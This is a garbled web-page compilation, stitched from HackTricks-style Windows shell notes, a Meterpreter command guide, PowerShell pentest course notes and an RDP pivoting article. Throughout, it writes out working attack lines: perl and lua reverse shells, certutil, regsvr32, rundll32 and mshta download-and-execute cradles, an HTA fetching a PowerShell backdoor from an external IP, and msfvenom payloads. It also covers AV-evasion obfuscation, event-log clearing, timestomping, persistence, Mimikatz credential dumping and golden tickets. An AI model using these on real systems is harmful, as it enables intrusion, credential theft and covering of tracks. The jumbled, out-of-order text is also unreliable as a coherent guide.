От meterpreter к интерактивной rdp-сессии английская версия

# Victims machine



I haven’t tried it

I haven’t tried it


#Here you will be able to introduce the commands
#Here yo will be able to get the response

Example xsl file from here:

You can download & execute very easily a Koadic zombie using the stager wmic

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache


Detected by defender

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

PS>Attack PS console with some offensive PS modules preloaded (cyphered)
https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9
WinPWN
PS console with some offensive PS modules and proxy detection (IEX)

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

  • If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""

Cscript – Metasploit

Detected by defender

Compile C# code in the victim machine.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs

You can download a basic C# reverse shell from here: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

  • If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!

Try Hard Security Group


The page lolbas-project.github.io is for Windows like https://gtfobins.github.io/ is for linux.
Obviously, there aren’t SUID files or sudo privileges in Windows, but it’s useful to know how some binaries can be (ab)used to perform some kind of unexpected actions like execute arbitrary code.

lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"

Process performing network call: powershell.exe
Payload written on disk: NO (at least nowhere I could find using procmon !)

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Get more info about different Powershell Shells at the end of this document

Download a B64dll, decode it and execute it.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

Download a B64exe, decode it and execute it.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

Detected by defender

regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Detected by defender

<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
            var r = new ActiveXObject("WScript.Shell").Run("calc.exe");    

Regsvr32 – Metasploit




#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll

You can download & execute very easily a Koadic zombie using the stager regsvr

If you’ve dabbled with Metasploit, you’re likely aware that it contains a command-line tool called Meterpreter, which stands for “Metasploit Interpreter”. 

This advanced payload has been part of Metasploit since 2004 and has C, PHP, Python, and Java implementations. 

However, if you want to start with Meterpreter but don’t know where to begin, we’ve got you covered.

In this article, we’ll review what a Meterpreter shell is, whether it’s better than a reverse shell, and various categories of Meterpreter commands, including file manipulation, network surveillance, privilege escalation, and even remote access to the target machine’s hardware components such as its monitor. 

Without further ado, let’s dive in.

Table Of Contents

Dll hello world example

Detected by defender

Rundll32 – sct

<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");

Rundll32 – Metasploit

#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0

Rundll32 – Koadic



#Koadic will tell you what you need to execute inside the victim, it will be something like:
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();

Empire Overview

Install

  • https://github.com/EmpireProject/Empire

Handlers

config to use SSL

in Empire:
set CertPath /root/tools/Empire/data
execute = run/exploit (metasploit)
back = same as (metasploit)

BindIP = lhost (metasploit)
Port = lport (metasploit)

  • Verify
    listeners
    now our listener should appear

set Stager

Agents

After executing the payload in the target, we should have an agent in Empire = same as session in metasploit

In Empire Session

Client side attack

the macro code will be save in that directory
we can copy-paste the macro to a word document
make sure that you enable developer tab For your version of microsoft word
alt+f11 = to open the visual basic
copy the payload to the editor
save the file .doc

as the result of the macro execution in the target machine, we get a session in Empire

Example of hta-psh reverse shell (use hta to download and execute PS backdoor)

 <scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>

You can download & execute very easily a Koadic zombie using the stager hta

        var c = "cmd.exe /c calc.exe"; 

mshta – sct

<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:C:\local\path\scriptlet.sct"")")) -->
    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");

Mshta – Metasploit



#The file name is given in the output of metasploit

Detected by defender

Tampering Windows Registry Keys

The Windows Registry is a hierarchical database organized in a tree of hives where system configurations and preferences are stored. We will now modify the Windows Registry keys with new values for the “fDenyTSConnection” and “fAllowToGetHelp” data to enable the “Terminal Server” (RDP) service.

Note: Be careful what you change as registry keys can break your system!

We verify that RDP is disabled:

From CMD: reg query “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections

If the key is 0x1 or 1 it means that the RDP service is disabled, let’s enable it.

One-Line Command: powershell.exe -nop -C “reg add ‘HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /b 0 /f’; reg add ‘HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fAllowToGetHelp /t REG_DWORD /b 1 /f’”

If for some reason when you are connecting to the RDP session you receive a connection error due to a trusted TLS certificate, it is due to Network Level Authentication (NLA).

NLA is an additional layer of security that is implemented in Remote Desktop Services (RDS) before establishing a communication. This is available starting with Windows Server 2008 and Windows Vista.

Obfuscation

Invoke-Obfuscation = https://github.com/danielbohannon/Invoke-Obfuscation

- First download
- Then, find the modules paths
   → $env:PSModulePath
	// in this case C:\users\user\Documents\WindowsPowerShell\Modules
	// After extract to this folder
- Import the module
   → Import-Module Invoke-Obfuscation
- Open it
   → Invoke-Obfuscation

We have several options

TOKEN
AST
STRING
ENCODING
COMPRESS
LAUNCHER

SET SCRIPTBLOCK

Type of Obfuscation

STRING

We are presented with several options For that method:
1. Concatenate
2. Reorder
3. Reverse

we should get a code obfuscated that we can use in the target machine

Encoding

// We are presented with options

  1. Encode as ASCII
  2. Encode as Hex
  3. Encode as Octal
  4. Encode as Binary
  5. Encrypt as SecureString (AES)
  6. Encode as BXOR
  7. Encode as Special Characters
  8. Encode as Whitespace
  • Lets pick 7 – Special Characters, For this example
    → 7

we should get a highly obfuscated payload

"<the same payload>"

// dont forget the quotes in the payloads

If you wanna use another encoding method, use the RESET options to clear previous methods.

Obfuscated launcher

ps
cmd
wmic
rundll
var+
stdin+
clip+
var++
stdin++
clip++
rundll++
mshta++
  1. We SET SCRIPTBLOCK with the code we want to execute
  2. We select an obfuscation method to generate the obfuscated command
  3. We then use the LAUNCHER option at the end of this process

The resulting string, is an obfuscated command that utilizes rundll32.exe with the “SHELL32.DLL” function (ShellExec_RunDLL) which will launch our obfuscated powershell code on the target.

Encoded Commands

its not recommended since it can be easily detected by AV and other string heuristics, considering its just a base64 encoding.

-EncodedCommand parameter in powershell
it makes complex commands digestible by powershell by encoding everything with Base64.

example

we can get the results of our encoded command with:

//copy the payload

then execute on the target:

Frequently Asked Questions

Can Meterpreter be detected?

The answer is a cautious yes. The encryption on Meterpreter sessions makes detection difficult, but a few security tools, such as Snort and commercial antivirus software, have been able to detect Meterpreter payloads. You can also use digital forensic techniques to find traces of Meterpreter usage.

Do hackers use Metasploit?

Yes, with a caveat. Metasploit comes in handy in professional penetration testing, but security products such as antivirus software and IDS/IPS can identify and flag Metasploit exploits and payloads, including benign ones. Metasploit is open-source with customizable modules, so it’s hard to say how many malicious attackers use it in some way, shape, or form.

What is the difference between Meterpreter and a command shell?

You can use Meterpreter commands to load Metasploit modules/extensions on the fly in stages and perform actions unavailable with the command shell, such as gaining remote access to a target’s monitor.

What can Meterpreter do?

Meterpreter can help you conduct post-exploitation attacks. After you access your target machine, you can use Meterpreter to run the code. You can also load Metasploit modules onto your target over a Meterpreter session. An interesting use case is a live screen capture: Meterpreter enables you to view the display of your target remotely.

How do I see a Meterpreter commands list?

Use this command: meterpreter > help (or meterpreter > ?).

Level Up in Cyber Security: Join Our Membership Today!

  • Cassandra Lee

    Cassandra is a writer, artist, musician, and technologist who makes connections across disciplines: cyber security, writing/journalism, art/design, music, mathematics, technology, education, psychology, and more. She’s been a vocal advocate for girls and women in STEM since the 2010s, having written for Huffington Post, International Mathematical Olympiad 2016, and Ada Lovelace Day, and she’s honored to join StationX. You can find Cassandra on LinkedIn and Linktree.

Lab 1 – Leveraging PowerShell During Exploitation

organization – 172.16.80.0/24
172.16.80.1
172.16.80.100
tester ip = 175.12.80.0/24

#
my ip 175.12.80.10
#
172.16.80.1
172.16.80.100
135
139
445
4983

we can access in browser or by nc

  • we discovered a new ip and credentials
10.100.11.150
local_admin:P@ssw0rd123

now that we have credentials, lets smbexec into it

  • after some time configuring Empire

in Empire:

listeners
uselistener http
info
set Host
execute
main

usestager multi/launcher
set listener http
execute

copy the payload and execute into the first shell from smbexec
// we should get a shell back from Empire = they call this agent

agents
interact
// its the same as session -i from Metasploit

usemodule situation_awareness/network/arpscan
set CIDR 10.100.11.0/24
set Agent
execute

  • we discovered 2 hosts: 100 e 101

now lets search for open ports

usemodule powershell/situational_awareness/network/portscan
set Hosts 10.100.11.100 = ip of the target found
set Agent
execute

Passing the session to Metasploit, because we will need to do some Pivot

here, we should get a meterpreter session

in Metasploit:
we are dealing with different networks, so we will need to set an autoroute

remember the port must be the same as proxychains.conf file
now we can set our browser, in the proxy config, in the socks session, set the kali ip with the right port
we can open the page 10.100.11.100:8443 from that weird port that was open
a apache tomcat 7.0.81 page opens, if we search For vulnerability For that version of apache

  • we get CVE-2017-12617
    metasploit has this exploit, but first we need to set a proxy

  • why do we need to set a proxy?
    because its a internal network, we got set the proxy, For the target of the internal network can receive our payload

upgrade the shell to a meterpreter shell

msfvenom  windows/meterpreter/reverse_tcp 10.100.11.101 4444  exe  /tmp/payload.exe

python3  http.server 8000

lets add another port in the portproxy

set a handler

in the Java shell:

// then execute it
C:\windows\temp\payload.exe

we should gain a shell back from meterpreter from our handler

Obtain Hashes using Mimikatz

in Java session:

of course, make sure the Invoke-Mimikatz is in the python web host directory.
this cradle will download and execute the Invoke-Mimikatz
we should get hashes back

// PSINJECT is the same as migrate from metasploit but its from Empire

this should open a new agent (session)
just type agents to visualize

Defensive Evasion Meterpreter Commands

During ethical hacking, the target system may catch you red-handed. What can you do to prevent such an outcome or minimize your damage?

CommandExplanation
clearevClear the event logs on the target system. You can’t afford to leave traces of your break-in there, so you must remove all your digital footprints before exiting the target machine.
timestompManipulate timestamps of affected files to cover your tracks. This command is a wordplay on “timestamp” and “stomp” as if to stomp out metadata changes as if nothing’s ever happened.
migrateMove the Meterpreter session to another process. You’d use this command often for stealth because it’s in your best interest to keep the Meterpreter shell connection alive for as long as possible.
uictlFreeze the keyboard, mouse, or both on the target machine. The options are enable/disable keyboard/mouse/all. You can cover your tracks while the target user wonders what’s going on.
Meterpreter commands clearev, timestomp, migrate, uictl
Meterpreter commands: clearev, timestomp, migrate, uictl

Downloading and Execution

  • A summary of methods we can use For In-Memory execution with PowerShell 2.0:
  • A summary of methods we can use For Disk-Based execution with PowerShell 2.0:

These two methods are commonly referred to as Download Cradles

From the PowerShell console

//iex = Invoke-Expression

From the cmd.exe

we can run the same command from a stardard windows command prompt:

Net.WebClient DownloadString Method

Instantiate our System.Net.WebClient class as the $downloader variable
Create our $payload variable (URL to the script)
Create our $command variable
Execute our $command with the Invoke-Expression (iex) cmdlet

Example – Download String

save in Get-ProcessPaths.ps1

Host in a web server
Then:

  • The DownloadString method will execute our remote script in the PowerShell process memory, so in regard to not dropping an artifact to disk, its a great way to stay under the radar of endpoint security solutions that are not monitoring powershell memory.
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36"

Example – DownloadFile

This method will download your executable to disk
Although noisy and not recommended if trying to remain stealthy, its still sometimes a handy method to quickly download a file to the target system.

Instantiate our System.Net.WebClient class as the $downloader variable
payload URL variable
local_file variable (will save to this location)
Call the object variable with the “DownloadFile” method and our $payload and $local_file variables

  • Executing the file once its on our target system can be accomplished using the call operator (&) and variable we created For the payload ($local_file)

[+]

We can configure the Net.WebClient class methods to use the systems proxy and default credentials

Net.WebRequest

To download and execute scripts on a target, in memory

Instantiate our System.Net.WebRequest class as the $req variable
Create a $res variable to store the WebRequest response
Use the “Invoke-Expression” alias (iex) to invoke the System.IO.StreamReader and execute our code

It can also be configured to use a proxy
we can add this before the iex line

System.Xml.XmlDocument

Allow us to execute a powershell command or any system command (in memory)

once our xml file is hosted

COM Objects

it works the same but the New-Object, with -ComObject parameter

  • We can do the same with WinHttp.WinHttpRequest.5.1 object as well (in the first line)

Socks Proxy Module

Metasploit comes with an interesting module to set up a socks server on the target machine, in our case it is Windows Server 2019 (192.168.25.156), it saves us a lot of time.

The next step is to setup a sock proxy on the domain network using our msf session:

msf6 auxiliary(server/socks_proxy) > run -j

We verify that it is running:

msf6 auxiliary(server/socks_proxy) > jobs

What Is a Meterpreter Shell?

Once you’ve successfully exploited a target with Metasploit, the Meterpreter shell appears in the terminal of your attacking machine, granting you access to the target machine.

Many tutorials exist on spawning Meterpreter shells

The method that led to the screenshots below comes from using msfvenom to generate an executable file, which gets downloaded to the target machine via the virtual machine bridged adapter. 

By double-clicking on the executable file, the target connects to the attacker.

The commands used on the attacking machine (Kali Linux):

msfvenom -p windows/meterpreter_bind_tcp LPORT=443 -f exe -o bind.exe

python3 -m http.server 8000

use payload windows/meterpreter_bind_tcp

The commands used on Powershell of the Windows target machine:

Let’s briefly compare a Meterpreter shell and a standard reverse shell.

Post-Exploitation with PowerShell

post-exploitation framework Nishang = https://github.com/samratashok/nishang

// as always, download the framework and host with a web server

  • Nishang

Copy-VSS module

will attempt to copy the SAM database using VSS service, and if run on a domain controller, will try and copy the NTDS.dit and contents of the system registry hive.

Get-Information

get a lot of system information

Get-PassHints

Invoke-Mimikatz

Will dump clear-text credentials or hashes from memory.

There is plenty more in Nishang gather modules
moreover = https://github.com/samratashok/nishang#gather

Invoke-BruteForce

We can use this to brute force Active Directory accounts, SQL Server, Web or FTP servers.
Invoke-BruteForce is great tool For executing a password spray attack against Active Directory
Just ensure that your password list contains a single password.

Reverse Shell – Invoke-PowerShellTcp

provides a way to obtain a reverse PowerShell from our target host back to a netcat listener
the traffic is traversing the wire in cleartext between attacker and target.
although a great and undetected by AV method to get a reverse shell from PowerShell, over-the-wire (SIEM) may pick up some chatter if that type of solution has been implemented within an organization.

  • Open a listener in the attacker:
  • Execute the command in the target to grab the file and get the reverse shell:
  • There is a lot more shells available in Nishang framework.
    // bind, reverse, ICMP, UDP, RAT, etc

  • Nishang has other categories modules as well:
  • PowerSploit

Tools For post-exploitation:

PowerUp

its a module within the Privesc Category
we can first import the Privesc module from within the Privesc modules directory and have a look at some of the options we have:

  • Invoke-AllChecks:
    // will run all functions related to the Privesc module looking For misconfigurations, permissions issues with services, opportunities For DLL hijacking a number of other useful checks.

// We can invoke it on the target after we have imported the Privesc.psm1 module with the “Invoke-AllChecks” command.

The output will also indicate an AbuseFunction we can use to further exploit the target.
In this case, PowerUp identified a potential service binary we can install with the “Install-ServiceBinary -Name ‘ClickToRunSvc’ command”

PowerSploit – Save to HTML

CodeInjection category

we can inject our own code into existing processes on the target system, whether it be via DLL injection, injecting our own custom Shellcode into an existing process, or using WMI to execute commands on the target.

Invoke-DLLInjection

this function injects an attacker-defined DLL into any existing process ID on the target system.

msfvenom  windows/exec   dll  cmd.dll

open a web host:
grab the file:

  • Identify a process on the target system we would like to inject our DLL into.
  • After grabbing the PID of the choosen process
    We can grab the Invoke-DLLInjection and execute it to inject our malicious dll in the PID of the process
  • once that in complete, we can run “ps” command again, to confirm that we have a “cmd” process which has been spawned from our DLL injection operation, which is created in a new process thread.

More about DLL injection

http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html
  • psgetsystem

// another tool

https://github.com/decoder-it/psgetsystem

After send the script to the target

"<Command to execute>"
  • First we need to identify some SYSTEM processes

This should return a list of all SYSTEM-owned processes along with their PIDs and process names.
in this case we will use ZeroConfigService

  • This will launch a cmd.exe prompt, but as a child process of the SYSTEM-owned ZeroConfigService.exe process, and as a result, our child process, will also be SYSTEM.

we can confirm this by running a tool like Process Explorer, to see that our cmd.exe process has been spawned as a child process of the ZeroConfigService process and is also SYSTEM.

of course, in an attack scenario, we could launch a meterpreter executable payload as SYSTEM and get a SYSTEM shell from the target machine.

Another post-exploitation framework
Its main advantage is that is implements powershell functionality without requiring the existence of powershell on a target machine.

set a handler in meterpreter
make a payload in msfvenom = -f psh-reflection > payload.ps1
make a web host to send the payload to the target

grab the file in the target machine:

once we execute the download cradle, we will receive the meterpreter session already

in meterpreter session:

load powershell
help = to show the options we have
powershell_shell

back to meterpreter:

it has the advantage that operates in the powershell memory, helping us to stay undetected.

sending Empire session to Metasploit

in msfconsole:
exploit/multi/script/web_delivery
set srvhost = kali ip
set lhost = kali ip
set target 2 = PSH *powershell
run
copy the URL of the payload

in Empire:
usemodule powershell/cpde_execution/invoke_metasploitpayload
info
set URL set Agent 65CY4XEG
execute
// Now it should open a session in metasploit

System Information and Management Meterpreter Commands

CommandExplanation
sysinfoDisplay system information. Learn about the target machine’s operating system, architecture, and other basic details.
getuidDisplay user ID. The target machine identifies you as this user.
getpidDisplay the process ID with which Meterpreter is running. By keeping this process alive, you maintain access to your target.
psList and display running processes on the target machine. The ps command identifies vulnerable applications on the target.
bg/background (Ctrl+Z)Put the current Meterpreter session in the background. After using this command, you can run other exploits from the attacking machine.
Meterpreter commands sysinfo, getuid, getpid, ps, bgbackground
Meterpreter commands: sysinfo, getuid, getpid, ps, bg/background

Networking Meterpreter Commands

These networking commands in Meterpreter help you understand the target’s network structure.

CommandExplanation
arpDisplay the host ARP cache. You can use ARP spoofing to assess the security of a network and identify vulnerabilities.
getproxyDisplay the current proxy configuration. You can obfuscate hacking activities or improve your security posture by using proxies.
portfwdForward packets from a local port to a remote service. This pivoting command relays TCP connections to and from the target machine, granting the attacker direct access.
routeView and modify the network routing table. You can use this to conduct attacks such as routing table poisoning and hijacking.
ifconfig/ipconfigShow network interface configuration. Either command displays a system’s basic networking information, such as IP addresses.
Meterpreter commands arp, getproxy, portfwd
Meterpreter commands: arp, getproxy, portfwd
Meterpreter commands route, ifconfig
Meterpreter commands: route, ifconfig

Information Gathering & Recon

Invoke-Portscan = https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/Invoke-Portscan.ps1
its included with the powersploit framework

  • to save the results we can pipe and export-csv

once we have identified live hosts
we can conduct port scans

Output to .gnmap = NMAP format

For enumerating Files

Host Discovery with Posh-SecMod framework

Invoke-ARPScan = https://github.com/darkoperator/Posh-SecMod

it may generate fewer alerts than your usual SYN or TCP scan

Get-Command -Module Posh-SecMod
// to view the available options

Cmdlets

Command-lets
its how we will leverage powershell For our offensive purposes
cmdlets are native commands in powershell (we can also create our own)

Returns 4 columns names Mode, LastWriteTime, Length and Name.
But we can pipe the output

rather than columns and names as seen in the previous slide, we can return all named properties associated with its objects in a different list-like format

Pipelining

results of all cmdlets output = objects

like linux we can redirect the output to a file:

Useful Cmdlets & Usage

list of all processes
formatted in a table-like format

To get all of the information (properties) associated with all of the processes

Further extend to get information about specific processes and paths to their executables

  • append another property (id)

Alias

Most of the cmdlets have Aliases.
example:

To find the aliases we can use: Get-Alias

Get-WmiObject

  • using the Format-List alias “fl”

detailed list of properties For all services

expanding the filter with PathName

Export-Csv

saving the information that we are gathering to a file
we can redirect operator (>)

// to save to CSV format

Exploring the Registry

Select-String

// search For .txt files named pass* in a directory

Get-Content

we can use to display the full content of the file

Get-Service

Get us information regarding currently installed services and can be useful in the case we can identify a service which might be vulnerable to a privilege escalation exploit.

// all services that start with "s"

Modules

  • Is a set of powershell functionalities grouped together in the form of a single file that will typically have a “.psm1” file extension.

The components that can make up a module:

powershell scripts (.ps1)
additional assemblies, help files or scripts
module manifest file
directory which is used to contain all of the above

Types

Get-Module

to obtain a list of all currently imported modules

To list all modules available to us

Import-Module

modules that we want to use, will first need to be imported into our current powershell session

  • After importing, all cmdlets of that module is available to us

1 – download the module
2 – we need to copy to one of the module paths specified by the $Env:PSModulePath.

Perhaps the AV will detect the powersploit framework as malicious. its normal.
In this case create an exclude directory For your AV software.

3 – extract and copy all of its contents into our chosen module directory into a folder called ‘PowerSploit’
4 – Import the module

5 – To list all the commands For that module

6 – There are help files For all of the modules

Objects

  • Each objects has a multiple methods that we can use to manipulate a particular object.
  • To get a list of methods For objects associated with a cmdlet, we can use get-member
  1. we have identified an object (in this case, a process firefox) we would like to manipulate in some way using the Get-Process cmdlet
  2. We have determined the methods that are available For use with the objects that were returned by using:
  3. We have decided that the Kill method is the method we would like to use For that process( as an example)

we can call the get-process along with the -Name parameter For the firefox process, and pipe the Kill method that we identified using the get-member cmdlet.
This command will kill any firefox processes.

Creating .NET objects

  • explainning the code – line by line
  1. We create a variable called $webclient which instantiates the System.Net.WebClient .NET class, which is used to create a web client.
  2. We then create another variable $payload_url, which is the url to our payload
  3. The $file variable is then used as the location to which we want to save the payload on the target system
  4. And finally, we call the $webclient variable with the DownloadFile method which downloads our payload.exe to the target.

User and Group Management Meterpreter Commands

CommandExplanation
add_userAttempt to add a user with all tokens to the target system. You can use this command to create a backdoor. Later, you can remove it through a shell with admin privileges. In Windows, it’s cmd > net user [username] /delete.
add_group_userAttempt to add a user to a global group on a host with all accessible tokens. The purpose of this command is to allow the new user to inherit the group’s privileges.
getprivsAttempt to enable all privileges available to the current process on the target. You gain more control and access to the system.
list_tokensList all accessible tokens and their privilege level using the options -u to sort by unique user name and -g by unique group name.
impersonate_tokenInstruct the Meterpreter thread to impersonate the specified token. Everything you do from this point onward on the entire system is in the context of that token.
Meterpreter commands add_group_user, add_user, impersonate_token, list_tokens, getuid, guid, getprivs
Meterpreter commands: add_group_user, add_user, impersonate_token, list_tokens, getuid, guid, getprivs

Miscellaneous Commands Meterpreter Commands

Here are some useful Meterpreter commands belonging to one or more categories above.

CommandExplanation
shellDrop into a system command shell. You can execute (reverse) shell code from the terminal of the target machine as if you were a legitimate user.
executeExecute a command. You can execute (reverse) shell code on the target machine without entering the shell.

The options are:
-H: Create the process hidden from view
-a: The arguments to pass to the command
-c: Channelized I/O (required for interaction)
-d: The ‘dummy’ executable to launch when using -m
-f: The executable command to run
-h: Help menu
-i: Interact with the process after creating it
-m: Execute from memory
-t: Execute the process using the currently impersonated thread token

help/?Display the Meterpreter help menu. Learn new Meterpreter commands and refresh your memory on those you’ve understood.
localtimeDisplay the local date and time of the target system. This information is crucial to minimize the amount of suspicious data on the target machine.
idletimeDisplay the number of seconds the user has been idle on the remote system. This command is useful because you may encounter timeouts on your target machine, which can hinder you from completing attacks or covering your tracks.
Meterpreter commands shell, execute, help, localtime, idletime
Meterpreter commands: shell, execute, help, localtime, idletime

UAC Bypass PowerShell Exploit Script Walkthrough

  • Identify the program that which auto elevates to a high integrity process, which naturally bypass UAC in a sense.
  • Identify that the program checks For registry keys and values which are writable by us
  • and its responsable to associate file types of the msi extension to a specific application
  • we also hijack that process, to launch a command of our choosen, which was the calculator program.

Introduction to Leveraging WMI and Methods For Persistence

this should launch cmd.exe as a child process from WmiProvider

// Also will generate a process as a child from the WmiProvider

// if we want to kill the process remotely

PowerLurk

  • make a payload in msfvenom
  • send to the target machine via python web server host
  • open a handler in metasploit
  • download the PowerLurk.ps1 from github
  • execute this command to grab the PowerLurk file and trigger with a program, in this case the calc.exe.
    // Everytime the target execute the calculator our payload will be executed.
"cmd.exe /c C:\programdata\payload.exe"
  • To view our malicious WMI Event

if you wanna Remove the Malicious WMI Event

Proxychains + RDP

Now that everything is set up, it’s time to initiate an RDP connection to the internal network machine (172.16.0.16), which we normally wouldn’t have access to. However, since we have configured a socks proxy and enabled ports, let’s try it:

That’s all for this chapter, if you are interested in my articles, I invite you to take a look at the other chapters. Until next time, Happy Hacking!

File System Operations Meterpreter Commands

These commands manipulate files and directories on the attacking (local) and target (remote) machines. Many bash or Windows cmd file system commands apply to Meterpreter, and commands prefixed with the small letter “l” (as in “local”) apply to the attacking machine.

CommandExplanation
ls/llsList all remote/local files. Use this to navigate the target and attacking machines to know what exploits to launch and where to launch them.
pwd/lpwdPrint the current remote/local working directory. If you’re running a server on your attacking machine, such as using the command python3 -m http.server 8000, you’ll know which directory your target connects to.
upload/downloadUpload/download a file or directory from local/remote to remote/local. Although Meterpreter doesn’t require writing anything to the target disk, this pair of commands may be helpful for executing shellcode on and saving files from the target.
rm/delDelete remote files. Either command works on Windows and Linux targets alike. It is especially useful for covering your tracks and cleaning up post-exploitation, and the best part is that nothing deleted using these commands goes into the target’s recycling bin.
show_mountList all mount points/logical drives. The list includes hard drives, optical disk drives, and network drives, and you can exploit such vulnerabilities.
Meterpreter commands ls, upload, pwd, lpwd, show_mount, rm, del
Meterpreter commands: ls, upload, pwd, lpwd, show_mount, rm, del

The Powershell CLI

CLI = Command Line Interface
"%appdata%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\<v1.0 = version>"
[Environment]::Is64BitProcess
True
C:\wIndows\system32\WindowsPowerShell
C:\windows\SysWOW64\WindowsPowerShell

Help Parameter

Basic Usage

  • ExecutionPolicy
    determines which scripts if any, we can run and can easily be disabled with the “Bypass” or “Unrestricted” arguments

-WindowStyle
Hides the Powershell window when used the “hidden” argument

-EncodedCommand
is used to execute base64 encoded scripts or commands

-NoProfile
Dont load any powershell profiles
Profiles are essentially scripts that run when the powershell executable is launched and can interfere with our operations.

Abreviations

Get-Help

Similar to linux Man Pages
we can use to obtain information related to any function, alias, module or cmdlet that PowerShell is aware of.

To get full help For any cmdlet, which includes detailed information on associated parameters

To show examples of a specific cmdlet

To show Help pages online

To update the help files

Get-Command

it allows us to list all cmdlets, aliases, functions, workflows, filters, scripts and any applications that are available For us to use in PowerShell.

Persistence and Lateral Movement Meterpreter Commands

Hackers need to learn how to maintain a Meterpreter session and move across different virtual spaces for greater flexibility and to evade detection. The Kiwi extension in Meterpreter is Mimikatz 2.0.

CommandExplanation
run [persistence]Run a Meterpreter payload [persistence] on the target machine to maintain access or create a persistent backdoor. Persistence is especially key for conducting prolonged attacks in stealth.

Meterpreter command Windows:
exploit/windows/local/persistence

Meterprter command Linux:
exploit/linux/local/service_persistence, exploit/linux/local/cron_persistence (or similar)

use kiwiLoad the Kiwi (Mimikatz 2.0) module onto the current Meterpreter session. You must run this command before using any Kiwi commands below.
kiwi_cmd [option]Execute an arbitrary Mimikatz command (unparsed) via Meterpreter. The help menu comes with some fun commands, and if you’re familiar with Mimikatz, you’ll love this.
golden_ticket_create [options]Create a golden Kerberos ticket. The namesake refers to the all-access golden ticket in the novel Charlie and the Chocolate Factory.
Unlike an ordinary “ticket granting ticket” (TGT) issued through the Kerberos Key Distribution Center (KDC), a golden Kerberos ticket allows you to bypass vital layers of authentication and can be dangerous in the wrong hands.
run autorouteInsert routes for the target to Metasploit’s routing table so that Metasploit knows how to route traffic through the session. The autoroute module is another pivot.

The general use of the run command is to execute a Meterpreter script.

Sometimes, this command may generate warning messages. Alternatively, use the command run post/multi/manage/autoroute instead.

Meterpreter commands run autoroute -s
Meterpreter commands: run autoroute -s
Meterpreter commands run persistence, use kiwi
Meterpreter commands: run persistence, use kiwi
Kiwi commands
Kiwi commands
Meterpreter commands kiwi_cmd coffee
Meterpreter commands: kiwi_cmd coffee
Kiwi command golden_ticket_create
Kiwi command: golden_ticket_create

Add routes to our msf session

The first thing we do is add new routes to the routing table using the meterpreter session. If you don’t know how to get the subnets, there are several ways:

meterpreter> execute -i -f ‘dsquery subnet’ # run from meterpreter withou pop a shell

meterpreter> run get_local_subnets

meterpreter> execute -i -f ‘netstat -r’

meterpreter> run autoroute -s 172.16.0.1/24

We verify that it has been added:

